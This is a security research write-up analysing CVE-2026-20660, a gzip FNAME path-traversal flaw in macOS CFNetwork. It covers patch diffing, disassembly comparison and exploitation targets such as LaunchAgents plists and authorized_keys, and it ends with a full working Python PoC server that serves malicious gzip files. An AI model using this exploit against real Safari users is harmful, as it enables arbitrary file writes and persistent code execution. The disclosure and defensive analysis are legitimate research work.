Vulnerability Overview

CVE-2026-20660 is a path handling vulnerability in Apple’s CFNetwork framework that allows a remote attacker to write files to arbitrary locations on the victim’s filesystem by serving a malicious gzip file.

Field Details
Component CFNetwork (macOS)
Impact A remote user may be able to write arbitrary files
Fix Description A path handling issue was addressed with improved logic
Fixed In Safari 26.3 / macOS Sequoia 26.3 (2026-02-11)
Discovered By Amy
Vulnerability Class Path Traversal via Gzip FNAME header (RFC 1952)
Trigger Condition Safari “Open safe files after downloading” enabled (on by default)
Advisory Apple Security Release - Safari 26.3

Disclosure note: This is a 1-day analysis performed independently after Apple released the fix in Safari 26.3. The original vulnerability was discovered and reported by Amy. All testing was conducted on macOS with the affected version (Safari 26.2 / macOS 26.2.1) against locally controlled systems.

Phase 1: Binary Acquisition and BinDiff

Extracting CFNetwork from IPSW

The CFNetwork framework was extracted from the dyld_shared_cache embedded in IPSW firmware images for iOS 26.2.1 (vulnerable) and iOS 26.3 (patched), using the ipsw tool.

Both extracted binaries are Mach-O 64-bit ARM64e (with PAC support). However, because they were extracted from the shared cache, the section offsets in their load commands point to addresses within the original shared cache rather than within the extracted file. This causes otool, objdump, and IDA Pro to fail during normal loading:

$ file CFNetwork_26.2.1/CFNetwork
Mach-O 64-bit arm64e (caps: PAC00) dynamically linked shared library

$ otool -tV CFNetwork
section offset for section (__TEXT,__text) is past end of file

IDA Pro loaded both binaries as raw ROM segments instead of structured Mach-O files, resulting in no function names and no Objective-C metadata resolution.

BinDiff Structural Comparison

Despite the degraded analysis quality in IDA, BinDiff successfully matched 10,489 functions based on control flow graph structure. The vast majority had a similarity score of 1.0 (identical). Only approximately 20 functions had a similarity score below 1.0.

BinDiff results are stored in a SQLite database, containing the matched function addresses in both old and new binaries, similarity scores, and instruction counts.

Phase 2: Symbol Resolution via lief + capstone + BinDiff Cross-Reference

Problem

BinDiff only provided raw file offset addresses (e.g., sub_24C4A4). Because IDA did not parse the Mach-O structure, all functions were unnamed sub_XXXXX entries. These addresses needed to be mapped to their actual symbol names.

Solution

The Python lief library was used to parse the Mach-O symbol table directly. Unlike IDA with shared-cache-extracted dylibs, lief correctly handles the load commands and provides the complete exported symbol list, including C functions, C++ mangled names, and Objective-C methods.

The key address mapping relationship:

BinDiff address = IDA flat address = file offset (IDA loaded the binary as ROM starting at 0x0)
lief symbol address = virtual address (vaddr)
vaddr = __TEXT segment base + file offset

Therefore: symbol name = lief.symbols[BinDiff_address + __TEXT_base]

import lief

binary = lief.parse('CFNetwork_26.2.1/CFNetwork')
# __TEXT segment: vaddr=0x197cdc000, fileoff=0x0
TEXT_BASE = 0x197cdc000

# BinDiff address 0x24C4A4 -> vaddr 0x197F284A4
vaddr = TEXT_BASE + 0x24C4A4
symbol_name = symbols[vaddr]
# -> "-[NSGZipDecoder filenameWithOriginalFilename:]"

Complete Symbol Resolution of Changed Functions

After mapping all functions with similarity < 1.0 to their symbol names and filtering out loader stubs (gotLoadHelper, delayInitStub), the meaningful changes were:

Similarity Instructions Symbol Category
0.088 BaseAwaitingTube::BaseAwaitingTube Connection layer
0.229 resolveTubeType Connection layer
0.356 ConnectionProtocolRemoveInputHandler Connection layer
0.406 PAC::rlsCancel Proxy Auto-Config
0.653 TubeManager::addNewFastPathCache Connection layer
0.889 112 -[NSGZipDecoder filenameWithOriginalFilename:] Filename handling
0.906 278 PAC::CreatePACTicket Proxy Auto-Config
0.992 490 -[__NSCFURLProxySessionConnection didCompleteWithError:] Session callback
0.976–0.993 Various NWIOConnection, TubeManager functions Connection/transport

The only changed function related to filename or path handling is [NSGZipDecoder filenameWithOriginalFilename:].

Ruling Out Other Filename Functions

To confirm no relevant changes were missed, capstone was used to disassemble and compare instruction counts for all filename-related functions:

Function OLD Instructions NEW Instructions Delta
_createSanitizedFileNameFromString 300+ 300+ 0
_createFilenameFromContentDispositionHeader 500+ 500+ 0
_CFURLResponseCopySuggestedFilename 48 48 0
URLResponse::copySuggestedFilename 239 239 0
URLDownload::_internal_copySuggestedFilenameFromOriginalFilename 82 82 0
GZipDownloadDataDecoder::createFilenameWithOriginalFilename 120 120 0

All Content-Disposition parsing and filename construction functions were byte-identical, confirming the vulnerability is not in the HTTP header parsing layer.

Phase 3: Root Cause Analysis via ARM64 Disassembly Comparison

Disassembly Method

Both versions of [NSGZipDecoder filenameWithOriginalFilename:] were disassembled using capstone (ARM64 disassembler). Due to the shared-cache extraction offset mapping, file offsets were calculated as:

file_offset = vaddr - __TEXT_segment.vaddr
# OLD: 0x197F284A4 - 0x197CDC000 = 0x24C4A4
# NEW: 0x198099394 - 0x197E4D000 = 0x24C394

Call Sequence Comparison

Each BL (branch-and-link) instruction target was resolved to its corresponding Objective-C dispatch stub symbol via lief:

Old version (26.2.1) – vulnerable:

objc_msgSend$copy                        @ 0x198088e40   <- copy filename
objc_msgSend$length                      @ 0x19808b900   <- check length
objc_msgSend$pathExtension               @ 0x19808c460   <- get extension
objc_msgSend$lowercaseString             @ 0x19808ba40   <- normalize case
objc_msgSend$isEqualToString:            @ 0x19808b560   <- compare extension
objc_msgSend$stringByDeletingPathExtension  @ 0x198091240   <- strip .gz
objc_msgSend$stringByAppendingPathExtension @ 0x198091200   <- add replacement extension

No call to lastPathComponent.

New version (26.3) – patched:

objc_msgSend$length                      @ 0x1981fd3c0
objc_msgSend$pathExtension               @ 0x1981fdf20
objc_msgSend$lowercaseString             @ 0x1981fd500
objc_msgSend$isEqualToString:            @ 0x1981fd020
objc_msgSend$stringByDeletingPathExtension  @ 0x198202d00
objc_msgSend$stringByAppendingPathExtension @ 0x198202cc0
objc_msgSend$lastPathComponent           @ 0x1981fd3a0   <- ADDED

A lastPathComponent tail call was added.

Control Flow Difference

Old version – return path:

; If NSGZipDecoder has a filename (read from gzip FNAME header) and its length is non-zero:
0x197f284d0: bl  objc_msgSend$length      ; check length
0x197f284d4: cbz x0, ...                  ; length == 0 -> fall through to pathExtension branch
0x197f284d8: mov x0, x20                  ; length != 0 -> return filename directly
0x197f284e4: retab                        ; <- BUG: no path sanitization

New version – return path:

0x1980993c0: bl  objc_msgSend$length
0x1980993c4: cbnz x0, #0x198099408       ; length != 0 -> jump forward
; ... (pathExtension branch, which also reaches 0x198099408)
0x198099408: mov x0, x20
0x198099414-0x198099424: epilog
0x198099424: b   objc_msgSend$lastPathComponent  ; <- tail call to strip directory components

All exit paths now pass through a lastPathComponent tail call, ensuring directory traversal components are stripped from the filename.

Phase 4: Determining the Attack Vector

The Wrong Direction: Content-Disposition

The first PoC attempt embedded ../ path traversal sequences in the HTTP Content-Disposition header. Testing on Safari 26.2 showed the file was saved as _.._cve-2026-20660-proof.txt.gz:

  • ../ was replaced with _.._ by Safari’s download manager – Safari already sanitizes HTTP header filenames.
  • The .gz extension was preserved – NSGZipDecoder was never invoked for decompression.

This confirmed that path traversal cannot be triggered through Content-Disposition.

The Correct Vector: Gzip FNAME Header

The gzip format defined in RFC 1952 includes an optional FNAME field (FLG bit 3) that stores the original filename. This filename is embedded inside the gzip file body and is not subject to HTTP-layer sanitization.

NSGZipDecoder reads the FNAME field when decompressing a .gz file and passes it through filenameWithOriginalFilename: to determine the output filename.

Attack flow:

sequenceDiagram
    participant A as Attacker Server
    participant S as Victim Safari (< 26.3)

    A->>S: HTTP Response
Content-Type: application/gzip
Content-Disposition: filename="report.gz" ← clean
[gzip body with FNAME="../../proof.txt"] ← malicious Note over S: 1. Safari saves report.gz
to ~/Downloads/ Note over S: 2. "Open safe files"
triggers NSGZipDecoder Note over S: 3. NSGZipDecoder reads
FNAME: "../../proof.txt" rect rgb(255, 200, 200) Note over S: OLD version (vulnerable)
output = "../../proof.txt"
~/Downloads/../../proof.txt
= ~/proof.txt ← ESCAPED end rect rgb(200, 255, 200) Note over S: NEW version (patched)
lastPathComponent → "proof.txt"
~/Downloads/proof.txt ← safe end

Constructing the Gzip FNAME Field

RFC 1952 gzip header layout:

+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG|     MTIME     |XFL|OS |
+---+---+---+---+---+---+---+---+---+---+
 1f  8b  08  08  ...timestamp...  00  ff

FLG bit 3 = FNAME: if set, a null-terminated original filename string follows
immediately after byte 10 of the header.

Phase 5: Observed Behavior on macOS Safari 26.2

Testing on macOS Safari 26.2 revealed the following behaviors:

Path Traversal Depth

NSGZipDecoder performs decompression not directly in ~/Downloads/, but in a temporary subdirectory beneath it. Consequently:

  • depth=1 (../pwn.sh) only escapes the temporary subdirectory; the file remains within ~/Downloads/.
  • depth=2 (../../pwn.sh) is required to reach ~/.

File Permissions After Decompression

$ ls -la ~/pwn.sh
-rwx------@ 1 user  staff  25 Mar  9 22:32 pwn.sh

Decompressed .sh files automatically received executable permissions (-rwx------). This means attacker-planted scripts do not require the victim to manually run chmod +x, substantially lowering the barrier from arbitrary file write to code execution.

Note: The exact source of the executable permission requires further investigation – it may originate from Unix permission bits preserved in the gzip metadata, or from macOS applying default executable permissions to script files.

No Overwrite of Existing Files

If a file already exists at the target path, Safari does not overwrite it; instead, it renames the new file with a numeric suffix (e.g., pwn-2.sh). This means:

  • First-time writes to a target path succeed.
  • Existing files such as .zshrc or authorized_keys cannot be tampered with.
  • However, new files can be created in sensitive directories (e.g., ~/.ssh/) provided the directory exists and the target filename is not already taken.

High-Impact Exploitation Scenarios

Given the “create but not overwrite” constraint, the most valuable attack targets are writing new files into sensitive directories:

Target Path FNAME (depth=2) Impact
~/Library/LaunchAgents/com.evil.plist ../../Library/LaunchAgents/com.evil.plist Persistent code execution on user login (plist format)
~/.ssh/authorized_keys ../../.ssh/authorized_keys (only if .ssh/ already exists) Unauthorized SSH access
~/pwn.sh ../../pwn.sh Executable script planted with +x permissions (verified)

LaunchAgents represents the highest-impact target: the directory typically already exists, plist filenames can be chosen arbitrarily (avoiding conflicts), and macOS automatically executes all plist-defined tasks in this directory at user login.

Impact Analysis

macOS (Affected)

Files can be written outside ~/Downloads/ to arbitrary user-accessible locations. Highest-impact scenarios:

  • ~/Library/LaunchAgents/ – write a plist to achieve persistent code execution at user login (primary target).
  • ~/.ssh/authorized_keys – add an attacker’s SSH public key (requires .ssh/ directory to already exist and no existing file with the same name).
  • Executable scripts at arbitrary paths – decompressed files automatically receive +x permissions.

iOS (Not Affected)

Symbol analysis confirmed that NSGZipDecoder is invoked only on macOS. iOS uses an entirely separate decompression mechanism.

Platform Download/Decompression Architecture

Platform Download API Decompression Filename Handling
macOS NSURLDownload NSGZipDecoder (conforms to NSURLDownloadDecoder protocol) filenameWithOriginalFilename:vulnerable
iOS NSURLSession SZExtractor / STRemoteExtractor Independent code path, not affected

Symbol Analysis Evidence

  1. NSGZipDecoder conforms to the NSURLDownloadDecoder protocol:

    __OBJC_CLASS_PROTOCOLS_$_NSGZipDecoder -> __OBJC_PROTOCOL_$_NSURLDownloadDecoder
    

    NSURLDownload is a legacy macOS-only download API (never available on iOS).

  2. NSGZipDecoder.init calls macOS-only APIs:

    -[NSGZipDecoder init] -> _CFURLDownloadCancel
                           -> -[NSURLDownload cleanupChallenges]
    
  3. iOS NSURLSessionDownloadTask uses a different decompression path:

    NSURLSessionTask._extractor -> SZExtractor (Streaming Zip Extractor)
                                 -> STRemoteExtractor
    

    These are NSURLSession-specific decompressors, entirely independent of NSGZipDecoder.

  4. Consistent with Apple’s advisory: CVE-2026-20660 is listed only for “Available for: macOS Sonoma and macOS Sequoia”, not iOS.

Exploitation Constraints

  1. macOS only – iOS uses the independent SZExtractor decompression path.
  2. Requires Safari’s “Open safe files after downloading” to be enabled (on by default in macOS Safari).
  3. Cannot overwrite existing files – Safari applies automatic numeric-suffix renaming for conflicts.
  4. Path traversal requires depth >= 2 (decompression occurs in a subdirectory of ~/Downloads/).
  5. The attacker must know the relative directory depth to the target path.

Exploitation Advantages

  1. Decompressed scripts automatically receive executable permissions – no manual chmod +x required by the victim.
  2. ~/Library/LaunchAgents/ exists by default and plist filenames are attacker-controlled – no conflict risk.
  3. The entire attack chain requires zero user interaction (Safari’s auto-decompression is enabled by default).

Proof of Concept

The PoC consists of two files: server.py (core gzip builder and HTTP server) and server_overwrite.py (simplified variant targeting ~/pwn.sh).

server.py

#!/usr/bin/env python3
"""
CVE-2026-20660 PoC -- CFNetwork NSGZipDecoder Path Traversal

Root Cause (from BinDiff patch analysis):
  -[NSGZipDecoder filenameWithOriginalFilename:] reads the FNAME field
  from the gzip header. The OLD version returns it as-is. The NEW version
  calls [NSString lastPathComponent] to strip directory components.

Attack Vector:
  The path traversal is embedded in the GZIP HEADER (RFC 1952 FNAME),
  NOT in the Content-Disposition HTTP header.

  1. Server sends a .gz file with a CLEAN Content-Disposition name
  2. Safari downloads "harmless.gz" to ~/Downloads/
  3. Safari auto-decompresses .gz (if "Open safe files" is enabled)
  4. NSGZipDecoder reads FNAME from gzip header: "../../evil.txt"
  5. OLD version uses "../../evil.txt" -> file written OUTSIDE Downloads
  6. NEW version: lastPathComponent -> "evil.txt" -> safe

Usage:
    python3 server.py [--port PORT] [--depth DEPTH]
"""

import argparse
import gzip
import http.server
import io
import os
import struct
import sys
import time
import urllib.parse
from datetime import datetime


PROOF_TEXT = """\
CVE-2026-20660 -- Proof of Arbitrary File Write
================================================
This file was written by exploiting a path traversal
in the gzip FNAME header field, processed by
-[NSGZipDecoder filenameWithOriginalFilename:]

Timestamp: {timestamp}
FNAME payload: {fname}
"""

def make_gzip_with_fname(content: bytes, fname: str) -> bytes:
    """
    Build a gzip stream with a custom FNAME (original filename) header.

    RFC 1952 gzip format:
      +---+---+---+---+---+---+---+---+---+---+
      |ID1|ID2|CM |FLG|     MTIME     |XFL|OS |
      +---+---+---+---+---+---+---+---+---+---+

    FLG bit 3 (FNAME): If set, an original file name is present,
    terminated by a zero byte.
    """
    import zlib

    # Gzip header
    header = bytearray()
    header += b'\x1f\x8b'      # ID1, ID2 (magic)
    header += b'\x08'           # CM = deflate
    header += b'\x08'           # FLG = FNAME bit set
    header += struct.pack('<I', int(time.time()))  # MTIME
    header += b'\x00'           # XFL
    header += b'\xff'           # OS = unknown

    # FNAME field: null-terminated string
    header += fname.encode('latin-1') + b'\x00'

    # Compressed data
    compress = zlib.compressobj(9, zlib.DEFLATED, -zlib.MAX_WBITS)
    deflated = compress.compress(content)
    deflated += compress.flush()

    # Trailer: CRC32 + ISIZE
    crc = zlib.crc32(content) & 0xFFFFFFFF
    isize = len(content) & 0xFFFFFFFF
    trailer = struct.pack('<II', crc, isize)

    return bytes(header) + deflated + trailer


class ExploitHandler(http.server.BaseHTTPRequestHandler):
    traversal_depth = 5
    target_name = "cve-2026-20660-proof.txt"

    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        query = urllib.parse.parse_qs(parsed.query)
        if parsed.path == "/":
            self._serve_landing()
        elif parsed.path == "/download":
            depth = int(query.get("depth", [str(self.traversal_depth)])[0])
            custom_fname = query.get("fname", [None])[0]
            self._serve_exploit(depth, custom_fname)
        else:
            self.send_error(404)

    def _serve_landing(self):
        page = """<!DOCTYPE html>
<html><head><title>CVE-2026-20660 PoC</title></head>
<body>
<h1>CVE-2026-20660 PoC</h1>
<p>NSGZipDecoder FNAME Path Traversal</p>
<a href="/download?depth=2">Trigger (depth=2)</a>
</body></html>""".encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(page)))
        self.end_headers()
        self.wfile.write(page)

    def _serve_exploit(self, depth: int, custom_fname: str | None = None):
        ts = datetime.now().isoformat()

        if custom_fname:
            fname = custom_fname
        else:
            fname = "../" * depth + self.target_name

        text = PROOF_TEXT.format(timestamp=ts, fname=fname)
        gz_data = make_gzip_with_fname(text.encode('utf-8'), fname)
        clean_name = "report.gz"

        print(f"\n{'='*60}")
        print(f"  Exploit triggered @ {ts}")
        print(f"  Content-Disposition: {clean_name}  (clean)")
        print(f"  Gzip FNAME header:  {fname}  (malicious)")
        print(f"  Payload: {len(gz_data)} bytes")
        print(f"  Client: {self.client_address[0]}")
        print(f"{'='*60}")

        self.send_response(200)
        self.send_header("Content-Type", "application/gzip")
        self.send_header("Content-Disposition", f'attachment; filename="{clean_name}"')
        self.send_header("Content-Length", str(len(gz_data)))
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(gz_data)

    def log_message(self, fmt, *args):
        sys.stderr.write(f"[{datetime.now():%H:%M:%S}] {self.client_address[0]} - {fmt % args}\n")


def main():
    p = argparse.ArgumentParser(description="CVE-2026-20660 PoC Server")
    p.add_argument("--port", "-p", type=int, default=8080)
    p.add_argument("--bind", "-b", default="0.0.0.0")
    p.add_argument("--depth", "-d", type=int, default=5,
                   help="Path traversal depth (../ count)")
    p.add_argument("--name", "-n", default="cve-2026-20660-proof.txt",
                   help="Target filename for proof")
    args = p.parse_args()

    ExploitHandler.traversal_depth = args.depth
    ExploitHandler.target_name = args.name

    srv = http.server.HTTPServer((args.bind, args.port), ExploitHandler)
    print(f"\n  CVE-2026-20660 PoC Server")
    print(f"  http://{args.bind}:{args.port}/")
    print(f"  Default depth: {args.depth}")
    print(f"  Target name: {args.name}")
    print(f"\n  Attack: gzip FNAME header path traversal")
    print(f"  Requires: 'Open safe files after downloading' in Safari\n")

    try:
        srv.serve_forever()
    except KeyboardInterrupt:
        print("\nStopped.")
        srv.server_close()


if __name__ == "__main__":
    main()

Usage

cd CVE-2026-20660
python3 exploit/server.py --port 8888

# Open in a vulnerable Safari (< 26.3):
# http://<server-ip>:8888/

Prerequisite: Safari Preferences > General > “Open safe files after downloading” must be enabled (this is the macOS Safari default).

Verification:

ls ~/cve-2026-20660-proof.txt       # with depth=2
cat ~/cve-2026-20660-proof.txt      # inspect proof content

Mitigation

  1. Update to Safari 26.3 or later.
  2. Disable Safari Preferences > General > “Open safe files after downloading”.
  3. Do not download .gz files from untrusted sources.

References